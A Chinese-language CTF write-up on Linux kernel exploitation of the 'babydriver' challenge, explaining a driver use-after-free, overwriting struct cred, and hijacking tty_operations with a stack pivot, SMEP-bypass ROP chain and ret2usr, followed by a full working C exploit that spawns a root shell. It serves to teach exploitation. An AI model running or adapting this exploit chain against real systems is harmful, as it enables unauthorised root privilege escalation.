Kernel Pwn Heap UAF and Useful Structs

系列 - Digging into Kernel

和用户态一样, 控持程序流的一个最有效的方法就是覆盖函数指针. 在用户态, 我们可能会去覆盖一些 hook 函数指针, 或者是 FILE vtable 的指针. 在内核态也是一样的. 下面会结合例题来介绍一些可以利用的结构体中的函数指针.

检查启动脚本和 init, 仅开启 smep, kallsyms 可读, 显示 dmesg. 加载了一个 babydriver.ko 到 /dev/babydev.

检查 ko 的保护, 只开启了 NX. 设备注册了 open, close, read, write, ioctl, open 的时候会 kmalloc 一个 chunk, 指针在全局变量上. ioctl 里可以重新 kmalloc 一个任意大小的 chunk, 覆盖全局变量上的指针. read 和 write 正常读写. close 的时候 kfree, 但是没有将指针置零. 由于指针是在全局变量上, 所以我们打开两次设备, 申请一块我们可以控制大小的空间, 关闭一次设备, 将其释放, 这样没有关闭的那个还可以进行读写操作, 也就是 UAF.

kernel 4.4.72 时, cred 结构体没有专门的一个 kmem_cache (slub allocator) 来分配. struct cred 大小是 0xa8, 会使用 kmalloc-192 这个 kmem_cache 来分配. 而我们知道, cred 中保存了 uid, gid, 等, 如果可以改变这些, 那么就可以成功提权.

cred 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS   // 调试用, 一般没开
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

atomic_tkuid_t, kgid_t 都是 4 字节的, 所以我们覆盖到 egid, 一共是 28 字节.

怎么让程序重新分配一个 cred 呢? fork 一个子进程就可以了, 子进程会分配 cred. 由于我们释放了一个 object, 这个 cred 会直接取到刚刚的那个, 也就是可以 UAF 写的 object.

exp 关键部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void pwn() {
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 65537, 192);
    close(fd1);

    pid_t pid = fork();
    if (pid < 0)
        fail("fork failed!");
    else if (pid == 0) {
        char buf[28] = {0};
        write(fd2, buf, 28);
        getRootShell();
    }
    else
        wait(NULL);
}

不过后续版本的 kernel 创建了一个 cred_jar 的 kmem_cache, 专门用来分配 cred, 而不是使用 kmalloc-192, 所以无法用这个 UAF 来直接修改 euid 了.

linux 中有一个伪终端设备 /dev/ptmx, 打开这个设备的时候会分配一个 tty_struct 结构体, 这个结构体中有一个大小为 0x2e0 的 tty_operations.

1
2
3
4
5
6
7
8
struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    // ...
}

tty_operations 是一个类似 vtable 的东西:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct tty_operations {  
    struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
}

和 FSOP 类似, 覆盖函数指针如 write, 然后用 write 时就可以控制程序流了.

我们用这个方法来做一下 babydriver 这题, 并加上 kaslr 和 kallsyms 不可读.

在 qemu 启动脚本中 -append 中加入 kaslr, 在 init 中加上一行 echo 2 > /proc/sys/kernel/kptr_restrict.

因为有 read, 所以可以泄漏 tty_struct 中的信息, 如 tty_operations. tty_operations 会被初始化为全局变量 ptm_unix98_opspty_unix98_ops, 他们在内核空间, 所以可以用来泄漏, 并计算偏移.

由于没开 smap, 可以直接劫持 tty_operations 到用户空间上, 这样构造起来就很方便了.

只能控制一个函数指针, 而且没有办法像 FSOP 那样改为 system 直接提权, 所以需要做一下栈迁移. 栈也可以迁移到用户空间上, 然后 ROP, bypass smep, ret2usr 提权.

当执行函数指针 write 时, 观察寄存器, 发现 rax 的值是 tty_operations, 所以可以找 gadget 将栈迁移到伪造的 tty_operations 上. 如果栈还不够大, 可以再进行一次栈迁移.

这里可以找到 mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e, 而 jmp 的地址处正好为 ret. 这样一条语句就栈迁移了.

首先关闭 kaslr, 手动读 kallsyms 找出我们需要的函数和 gadget 地址, 然后分配到 tty_struct, read 泄漏地址, 计算偏移, 写 tty_operations 指针为用户空间地址 fake_tty_operations, 其 write 指针处写为 mov rsp, rax; ret gadget, 然后从 fake_tty_operations 开始位置布置 ROP 链, 修改 cr4 bypass smep, ret2usr 提权.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/wait.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}
size_t func = (size_t) getRootShell;

size_t prepare_kernel_cred, commit_creds;
void ret2usr() {
    __asm__(
        "mov rax, prepare_kernel_cred;"
        "mov rdi, 0;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push func;"
        "iretq;"
    );
}

void pwn() {
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 65537, 0x2e0);
    close(fd1);

    int tty = open("/dev/ptmx", O_RDWR);

    size_t buf[4] = {0};
    read(fd2, buf, 0x20);
    size_t off = buf[3] - 0xffffffff81a74f80;
    printvar(success, "off", off);

    size_t mov_rsp_rax_ret         = off + 0xffffffff8181bfc5;
    size_t mov_cr4_rdi_pop_rbp_ret = off + 0xffffffff81004d80;
    size_t pop_rdi_ret             = off + 0xffffffff810d238d;
    prepare_kernel_cred            = off + 0xffffffff810a1810;
    commit_creds                   = off + 0xffffffff810a1420;

    size_t fake_tty_operators[8];
    fake_tty_operators[7] = mov_rsp_rax_ret;
    fake_tty_operators[0] = pop_rdi_ret;
    fake_tty_operators[1] = 0x6f0;
    fake_tty_operators[2] = mov_cr4_rdi_pop_rbp_ret;
    fake_tty_operators[3] = 0;
    fake_tty_operators[4] = (size_t) ret2usr;

    buf[3] = (size_t) &fake_tty_operators;
    write(fd2, buf, 0x20);

    write(tty, buf, 1);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

(不知道为什么在 -append 中写 kaslr 没开成功 qaq)

todo